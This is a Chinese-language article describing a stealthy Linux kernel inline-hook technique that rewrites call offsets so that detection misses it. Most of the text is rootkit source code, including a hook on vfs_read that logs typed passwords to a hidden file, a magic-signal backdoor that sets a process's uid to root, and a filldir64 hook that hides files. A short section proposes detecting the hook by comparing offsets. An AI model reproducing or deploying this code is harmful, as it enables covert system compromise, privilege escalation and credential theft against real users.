高级Linux Kernel Inline Hook技术分析与实现

[目录]

1. 简述
2. 更改offset实现跳转
3. 补充
4. 如何查杀
5. 实例

一、简述

目前流行和成熟的kernel inline hook技术就是修改内核函数的opcode，通过写入jmp或
push ret等指令跳转到新的内核函数中，从而达到修改或过滤的功能。这些技术的共同点就
是都会覆盖原有的指令，这样很容易在函数中通过查找jmp，push ret等指令来查出来，因此这
种inline hook方式不够隐蔽。本文将使用一种高级inline hook技术来实现更隐蔽的inline
hook技术。

二、更改offset实现跳转

如何不给函数添加或覆盖新指令，就能跳转到我们新的内核函数中去呢？我们知道实现一
个系统调用的函数中不可能把所有功能都在这个函数中全部实现，它必定要调用它的下层函
数。如果这个下层函数也可以得到我们想要的过滤信息等内容的话，就可以把下层函数在上
层函数中的offset替换成我们新的函数的offset，这样上层函数调用下层函数时，就会跳到我
们新的函数中，在新的函数中做过滤和劫持内容的工作。原理是这样的，具体来分析它该怎么
实现, 我们去看看sys_read的具体实现：

linux-2.6.18/fs/read_write.c
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;

file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_read(file, buf, count, &pos);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}

return ret;
}
EXPORT_SYMBOL_GPL(sys_read);

我们看到sys_read最终是要调用下层函数vfs_read来完成读取数据的操作，所以我们不
需要给sys_read添加或覆盖指令, 而是要更改vfs_read在sys_read代码中的offset就可以跳
转到我们新的new_vfs_read中去。如何修改vfs_read的offset呢？先反汇编下sys_read看看：

[root@xsec linux-2.6.18]# gdb -q vmlinux
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass sys_read
Dump of assembler code for function sys_read:
0xc106dc5a <sys_read+0>:        push   %ebp
0xc106dc5b <sys_read+1>:        mov    %esp,%ebp
0xc106dc5d <sys_read+3>:        push   %esi
0xc106dc5e <sys_read+4>:        mov    $0xfffffff7,%esi
0xc106dc63 <sys_read+9>:        push   %ebx
0xc106dc64 <sys_read+10>:       sub    $0xc,%esp
0xc106dc67 <sys_read+13>:       mov    0x8(%ebp),%eax
0xc106dc6a <sys_read+16>:       lea    0xfffffff4(%ebp),%edx
0xc106dc6d <sys_read+19>:       call   0xc106e16c <fget_light>
0xc106dc72 <sys_read+24>:       test   %eax,%eax
0xc106dc74 <sys_read+26>:       mov    %eax,%ebx
0xc106dc76 <sys_read+28>:       je     0xc106dcb1 <sys_read+87>
0xc106dc78 <sys_read+30>:       mov    0x24(%ebx),%edx
0xc106dc7b <sys_read+33>:       mov    0x20(%eax),%eax
0xc106dc7e <sys_read+36>:       mov    0x10(%ebp),%ecx
0xc106dc81 <sys_read+39>:       mov    %edx,0xfffffff0(%ebp)
0xc106dc84 <sys_read+42>:       mov    0xc(%ebp),%edx
0xc106dc87 <sys_read+45>:       mov    %eax,0xffffffec(%ebp)
0xc106dc8a <sys_read+48>:       lea    0xffffffec(%ebp),%eax
0xc106dc8d <sys_read+51>:       push   %eax
0xc106dc8e <sys_read+52>:       mov    %ebx,%eax
0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>
0xc106dc95 <sys_read+59>:       mov    0xfffffff0(%ebp),%edx
0xc106dc98 <sys_read+62>:       mov    %eax,%esi
0xc106dc9a <sys_read+64>:       mov    0xffffffec(%ebp),%eax
0xc106dc9d <sys_read+67>:       mov    %edx,0x24(%ebx)
0xc106dca0 <sys_read+70>:       mov    %eax,0x20(%ebx)
0xc106dca3 <sys_read+73>:       cmpl   $0x0,0xfffffff4(%ebp)
0xc106dca7 <sys_read+77>:       pop    %eax
0xc106dca8 <sys_read+78>:       je     0xc106dcb1 <sys_read+87>
0xc106dcaa <sys_read+80>:       mov    %ebx,%eax
0xc106dcac <sys_read+82>:       call   0xc106e107 <fput>
0xc106dcb1 <sys_read+87>:       lea    0xfffffff8(%ebp),%esp
0xc106dcb4 <sys_read+90>:       mov    %esi,%eax
0xc106dcb6 <sys_read+92>:       pop    %ebx
0xc106dcb7 <sys_read+93>:       pop    %esi
0xc106dcb8 <sys_read+94>:       pop    %ebp
0xc106dcb9 <sys_read+95>:       ret
End of assembler dump.
(gdb)

0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>

通过call指令来跳转到vfs_read中去。0xc106d75c是vfs_read的内存地址。所以只要把
这个地址替换成我们的新函数地址，当sys_read执行这块的时候，就会跳转到我们的函数来了。

下面给出我写的一个hook引擎，来完成查找和替换offset的功能。原理就是搜索sys_read
的opcode，如果发现是call指令，根据call后面的offset重新计算要跳转的地址是不是我们要
hook的函数地址，如果是就重新计算新函数的offset，用新的offset替换原来的offset。从而
完成跳转功能。

参数handler是上层函数的地址，这里就是sys_read的地址，old_func是要替换的函数地
址，这里就是vfs_read, new_func是新函数的地址，这里就是new_vfs_read的地址。

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
unsigned int new_func)
{
unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00";
unsigned int offset = 0;
unsigned int orig = 0;
int i = 0;

DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

while (1) {
if (i > 512)
return 0;

if (p[0] == 0xe8) {
DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);

DbgPrint("*** hook engine: call addr: 0x%08x\n",
(unsigned int)p);
buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];
buf[3] = p[4];

DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
p[1], p[2], p[3], p[4]);

offset = *(unsigned int *)buf;
DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

orig = offset + (unsigned int)p + 5;
DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

if (orig == old_func) {
DbgPrint("*** hook engine: found old func at"
" 0x%08x\n",
old_func);

DbgPrint("%d\n", i);
break;
}
}
p++;
i++;
}

offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

p[1] = (offset & 0x000000ff);
p[2] = (offset & 0x0000ff00) >> 8;
p[3] = (offset & 0x00ff0000) >> 16;
p[4] = (offset & 0xff000000) >> 24;

DbgPrint("*** hook engine: pachted new func offset.\n");

return orig;
}

使用这种方法，我们仅改了函数的一个offset，没有添加和修改任何指令，传统的inline
hook检查思路都已经失效。

三、补充

这种通过修改offset的来实现跳转的方法，需要知道上层函数的地址，在上面的例子中
sys_read和vfs_read在内核中都是导出的，因此可以直接引用它们的地址。但是如果想hook
没有导出的函数时，不仅要知道上层函数的地址，还要知道下层函数的地址。因此给rootkit
的安装稍微带了点麻烦。不过，可以通过读取/proc/kallsyms或system map来查找函数地址。

四、如何查杀

这种inline hook技术改写的只是函数的offset， 并没有添加传统的jmp, push ret等指
令，所以传统的inline hook检测技术基本失效。我想到的一种解决方法就是对某些函数的
offset做备份，然后需要的时候与现在的offset进行比较，如果不相等可能机器就中了这种类
型的rootkit。 如果您有好的想法可以通过mail与我共同交流。

五、实例

下面是hook sys_read的部分代码实现，读者可以根据思路来补充完整。

========
config.h

#ifndef CONFIG_H
#define CONFIG_H

#define SNIFF_LOG		"/tmp/.sniff_log"
#define KALL_SYMS_NAME		"/proc/kallsyms"

#define HIDE_FILE		"test"

#define MAGIC_PID		12345
#define MAGIC_SIG		58
#endi

======
hook.h

#ifndef HOOK_H
#define HOOK_H

#define HOOK_VERSION	0.1

#define HOOK_DEBUG

#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...)  do {} while(0);
#endif

#define SYS_REPLACE(x) 	orig_##x = sys_call_table[__NR_##x];	\
sys_call_table[__NR_##x] = new_##x

#define SYS_RESTORE(x)	sys_call_table[__NR_##x] = orig_##x

#define CLEAR_CR0	asm ("pushl %eax\n\t" 			\
"movl %cr0, %eax\n\t"		\
"andl $0xfffeffff, %eax\n\t" 	\
"movl %eax, %cr0\n\t"		\
"popl %eax");

#define SET_CR0		asm ("pushl %eax\n\t" 			\
"movl %cr0, %eax\n\t" 		\
"orl $0x00010000, %eax\n\t" 	\
"movl %eax, %cr0\n\t"		\
"popl %eax");

struct descriptor_idt
{
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
};

static struct {
unsigned short limit;
unsigned long base;
}__attribute__ ((packed)) idt48;

void **sys_call_table;

asmlinkage ssize_t new_read(unsigned int fd, char __user * buf, size_t count);
asmlinkage ssize_t (*orig_read)(unsigned int fd, char __user * buf, size_t count);

#endif

========
k_file.h

#ifndef TTY_SNIFF_H
#define TTY_SNIFF_H

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

#define BEGIN_ROOT  int saved_fsuid = current->fsuid; \
current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid;

#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)

#define READABLE(f) (f->f_op && f->f_op->read)
#define _read(f, buf, sz) (f->f_op->read(f, buf, sz, &f->f_pos))

#define WRITABLE(f) (f->f_op && f->f_op->write)
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))

#define TTY_READ(tty, buf, count) (*tty->driver->read)(tty, 0, \
buf, count)

#define TTY_WRITE(tty, buf, count) (*tty->driver->write)(tty, 0, \
buf, count)

int write_to_file(char *logfile, char *buf, int size);

#endif

========
k_file.c

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/string.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>

#include "k_file.h"

int write_to_file(char *logfile, char *buf, int size)
{
mm_segment_t old_fs;
struct file *f = NULL;
int ret = 0;

old_fs = get_fs();
set_fs(get_ds());

BEGIN_ROOT
f = filp_open(logfile, O_CREAT | O_APPEND, 00600);
if (IS_ERR(f)) {
printk("Error %ld opening %s\n", -PTR_ERR(f), logfile);
set_fs(old_fs);
END_ROOT

ret = -1;
} else {
if (WRITABLE(f)) {
_write(f, buf, size);
}
else {
printk("%s does not have a write method\n", logfile);
set_fs(old_fs);
END_ROOT

ret = -1;
}

if ((ret = filp_close(f,NULL)))
printk("Error %d closing %s\n", -ret, logfile);
}

set_fs(old_fs);
END_ROOT

return ret;
}

==========
get_time.c

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/module.h>
#include <linux/time.h>
#include <asm/uaccess.h>

/* Macros used to get local time */

#define SECS_PER_HOUR   (60 * 60)
#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

struct vtm
{
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};

int timezone;

int epoch2time(const time_t * t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years.  */
{0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365},
/* Leap years.  */
{0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366}
};

long int days, rem, y;
const unsigned short int *ip;

days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;

while (days < 0 || days >= (isleap(y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365 + LEAPS_THRU_END_OF(yg - 1)
- LEAPS_THRU_END_OF(y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
}

/*
*  Get current date & time
*/

void get_time(char *date_time)
{
struct timeval tv;
time_t t;
struct vtm tm;

do_gettimeofday(&tv);
t = (time_t) tv.tv_sec;

epoch2time(&t, timezone, &tm);

sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
tm.tm_sec);
}

===========
hide_file.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/string.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <asm/uaccess.h>

#include "config.h"

#define ROUND_UP64(x) (((x)+sizeof(u64)-1) & ~(sizeof(u64)-1))
#define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user *) (de)))

struct getdents_callback64 {
struct linux_dirent64 __user * current_dir;
struct linux_dirent64 __user * previous;
int count;
int error;
};

int new_filldir64(void * __buf, const char * name, int namlen, loff_t offset,
ino_t ino, unsigned int d_type)
{
struct linux_dirent64 __user *dirent;
struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf;
int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);

buf->error = -EINVAL;   /* only used if we fail.. */
if (reclen > buf->count)
return -EINVAL;
dirent = buf->previous;
if (dirent) {
if (strstr(name, HIDE_FILE) != NULL) {
return 0;
}

if (__put_user(offset, &dirent->d_off))
goto efault;
}
dirent = buf->current_dir;

if (strstr(name, HIDE_FILE) != NULL) {
return 0;
}

if (__put_user(ino, &dirent->d_ino))
goto efault;
if (__put_user(0, &dirent->d_off))
goto efault;
if (__put_user(reclen, &dirent->d_reclen))
goto efault;
if (__put_user(d_type, &dirent->d_type))
goto efault;
if (copy_to_user(dirent->d_name, name, namlen))
goto efault;
if (__put_user(0, dirent->d_name + namlen))
goto efault;
buf->previous = dirent;
dirent = (void __user *)dirent + reclen;
buf->current_dir = dirent;
buf->count -= reclen;
return 0;
efault:
buf->error = -EFAULT;
return -EFAULT;
}

======
hook.c
/*
My hook engine v0.20

by wzt	<wzt@xsec.org>

tested on  amd64 as5, x86 as4,5
*/

#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/siginfo.h>

#include "syscalls.h"
#include "config.h"
#include "k_file.h"
#include "hide_file.h"
#include "hook.h"

#define READ_NUM	200

extern int write_to_file(char *logfile, char *buf, int size);

ssize_t (*orig_vfs_read)(struct file *file, char __user *buf, size_t count,
loff_t *pos);
int (*orig_kill_something_info)(int sig, struct siginfo *info, int pid);

unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;

unsigned int sys_read_addr = 0;
unsigned int sys_getdents64_addr = 0;
unsigned int sys_kill_addr = 0;
unsigned int kill_something_info_addr = 0;

int hook_kill_something_info_flag = 1;
int hook_vfs_read_flag = 1;

spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;

unsigned int filldir64_addr = 0;
unsigned char old_filldir64_opcode[5];

unsigned int get_sct_addr(void)
{
int i = 0, ret = 0;

for (; i < 500; i++) {
if ((*(unsigned char*)(system_call_addr + i) == 0xff)
&& (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
&& (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
ret = *(unsigned int *)(system_call_addr + i + 3);
break;
}
}

return ret;
}

unsigned int find_kernel_symbol(char *symbol_name, char *search_file)
{
mm_segment_t old_fs;
ssize_t bytes;
struct file *file = NULL;
char read_buf[500];
char *p, tmp[20];
unsigned int addr = 0;
int i = 0;

file = filp_open(search_file, O_RDONLY, 0);
if (!file)
return -1;

if (!file->f_op->read)
return -1;

old_fs = get_fs();
set_fs(get_ds());

while ((bytes = file->f_op->read(file, read_buf, 500, &file->f_pos))) {
if ((p = strstr(read_buf, symbol_name)) != NULL) {
while (*p--)
if (*p == "\n")
break;

while (*p++ != " ") {
tmp[i++] = *p;
}
tmp[--i] = "\0";

addr = simple_strtoul(tmp, NULL, 16);
DbgPrint("find %s at: 0x%8x\n", symbol_name, addr);

break;
}
}

filp_close(file,NULL);
set_fs(old_fs);

return addr;
}

unsigned int try_find_kernel_symbol(char *symbol_name, char *search_file,
int search_num)
{
unsigned int addr = 0;
int i = 0;

for (i = 0; i < search_num; i++) {
addr = find_kernel_symbol(symbol_name, search_file);
if (addr)
break;
}

return addr;
}

ssize_t new_vfs_read(struct file *file, char __user *buf, size_t count,
loff_t *pos)
{
ssize_t ret;

ret = (*orig_vfs_read)(file, buf, count, pos);
if (ret > 0) {
struct task_struct *tsk = current;
struct tty_struct *tty = NULL;

tty = tsk->signal->tty;
if (tty && IS_PASSWD(tty)) {
char *tmp_buf = NULL, buff[READ_NUM];

if (ret > READ_NUM)
return ret;

tmp_buf = (char *)kmalloc(ret, GFP_ATOMIC);
if (!tmp_buf)
return ret;

copy_from_user(tmp_buf, buf, ret);

snprintf(buff, sizeof(buff),
"<process: %s>\t--\tpasswd: %s\n", tsk->comm,
tmp_buf);
write_to_file(SNIFF_LOG, buff, strlen(buff));

kfree(tmp_buf);
}
}

return ret;
}

int new_kill_something_info(int sig, struct siginfo *info, int pid)
{
struct task_struct *tsk = current;
int ret;

if ((MAGIC_PID == pid) && (MAGIC_SIG == sig)) {
tsk->uid = 0;
tsk->euid = 0;
tsk->gid = 0;
tsk->egid = 0;

return 0;
}
else {
ret = (*orig_kill_something_info)(sig, info, pid);

return ret;
}
}

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
unsigned int new_func)
{
unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00";
unsigned int offset = 0;
unsigned int orig = 0;
int i = 0;

DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

while (1) {
if (i > 512)
return 0;

if (p[0] == 0xe8) {
DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);

DbgPrint("*** hook engine: call addr: 0x%08x\n",
(unsigned int)p);
buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];
buf[3] = p[4];

DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
p[1], p[2], p[3], p[4]);

offset = *(unsigned int *)buf;
DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

orig = offset + (unsigned int)p + 5;
DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

if (orig == old_func) {
DbgPrint("*** hook engine: found old func at"
" 0x%08x\n",
old_func);

DbgPrint("%d\n", i);
break;
}
}
p++;
i++;
}

offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

p[1] = (offset & 0x000000ff);
p[2] = (offset & 0x0000ff00) >> 8;
p[3] = (offset & 0x00ff0000) >> 16;
p[4] = (offset & 0xff000000) >> 24;

DbgPrint("*** hook engine: pachted new func offset.\n");

return orig;
}

static int inline_hook_func(unsigned int old_func, unsigned int new_func,
unsigned char *old_opcode)
{
unsigned char *buf;
unsigned int p;
int i;

buf = (unsigned char *)old_func;
memcpy(old_opcode, buf, 5);

p = (unsigned int)new_func - (unsigned int)old_func - 5;
buf[0] = 0xe9;
memcpy(buf + 1, &p, 4);
}

static int restore_inline_hook(unsigned int old_func, unsigned char *old_opcode)
{
unsigned char *buf;

buf = (unsigned char *)old_func;
memcpy(buf, old_opcode, 5);
}

static int hook_init(void)
{
struct descriptor_idt *pIdt80;

__asm__ volatile ("sidt %0": "=m" (idt48));

pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
if (!system_call_addr) {
DbgPrint("oh, shit! can"t find system_call address.\n");
return 0;
}
DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);

sys_call_table_addr = get_sct_addr();
if (!sys_call_table_addr) {
DbgPrint("oh, shit! can"t find sys_call_table address.\n");
return 0;
}
DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);

sys_call_table = (void **)sys_call_table_addr;

sys_read_addr = (unsigned int)sys_call_table[__NR_read];
sys_kill_addr = (unsigned int)sys_call_table[__NR_kill];

DbgPrint("sys_read addr: 0x%08x\n", sys_read_addr);
DbgPrint("sys_kill addr: 0x%08x\n", sys_kill_addr);

kill_something_info_addr = try_find_kernel_symbol("kill_something_info2",
KALL_SYMS_NAME, 3);
DbgPrint("kill_something_info addr: 0x%08x\n", kill_something_info_addr);

filldir64_addr = try_find_kernel_symbol("filldir64", KALL_SYMS_NAME, 3);
DbgPrint("filldir64 addr: 0x%08x\n", filldir64_addr);

lock_kernel();
CLEAR_CR0

if (sys_read_addr) {
orig_vfs_read = (ssize_t (*)())patch_kernel_func(sys_read_addr,
(unsigned int)vfs_read, (unsigned int)new_vfs_read);
if ((unsigned int)orig_vfs_read == 0)
hook_vfs_read_flag = 0;
}

if (kill_something_info_addr && sys_kill_addr) {
orig_kill_something_info = (int (*)())patch_kernel_func(sys_kill_addr,
(unsigned int)kill_something_info_addr,
(unsigned int)new_kill_something_info);
if ((unsigned int)orig_kill_something_info == 0)
hook_kill_something_info_flag = 0;
}

if (filldir64_addr) {
inline_hook_func(filldir64_addr, (unsigned int)new_filldir64,
old_filldir64_opcode);
}

SET_CR0
unlock_kernel();

DbgPrint("orig_vfs_read: 0x%08x\n", (unsigned int)orig_vfs_read);
DbgPrint("orig_kill_something_info: 0x%08x\n", (unsigned int)orig_kill_something_info);

if (!hook_kill_something_info_flag && !hook_vfs_read_flag) {
DbgPrint("install hook failed.\n");
}
else {
DbgPrint("install hook ok.\n");
}

return 0;
}

static void hook_exit(void)
{
lock_kernel();
CLEAR_CR0

if (hook_vfs_read_flag)
patch_kernel_func(sys_read_addr, (unsigned int)new_vfs_read,
(unsigned int)vfs_read);

if (hook_kill_something_info_flag)
patch_kernel_func(sys_kill_addr, (unsigned int)new_kill_something_info,
(unsigned int)kill_something_info_addr);

SET_CR0
unlock_kernel();

if (filldir64_addr) {
restore_inline_hook(filldir64_addr, old_filldir64_opcode);
}

DbgPrint("uninstall hook ok.\n");
}

module_init(hook_init);
module_exit(hook_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

-EOF-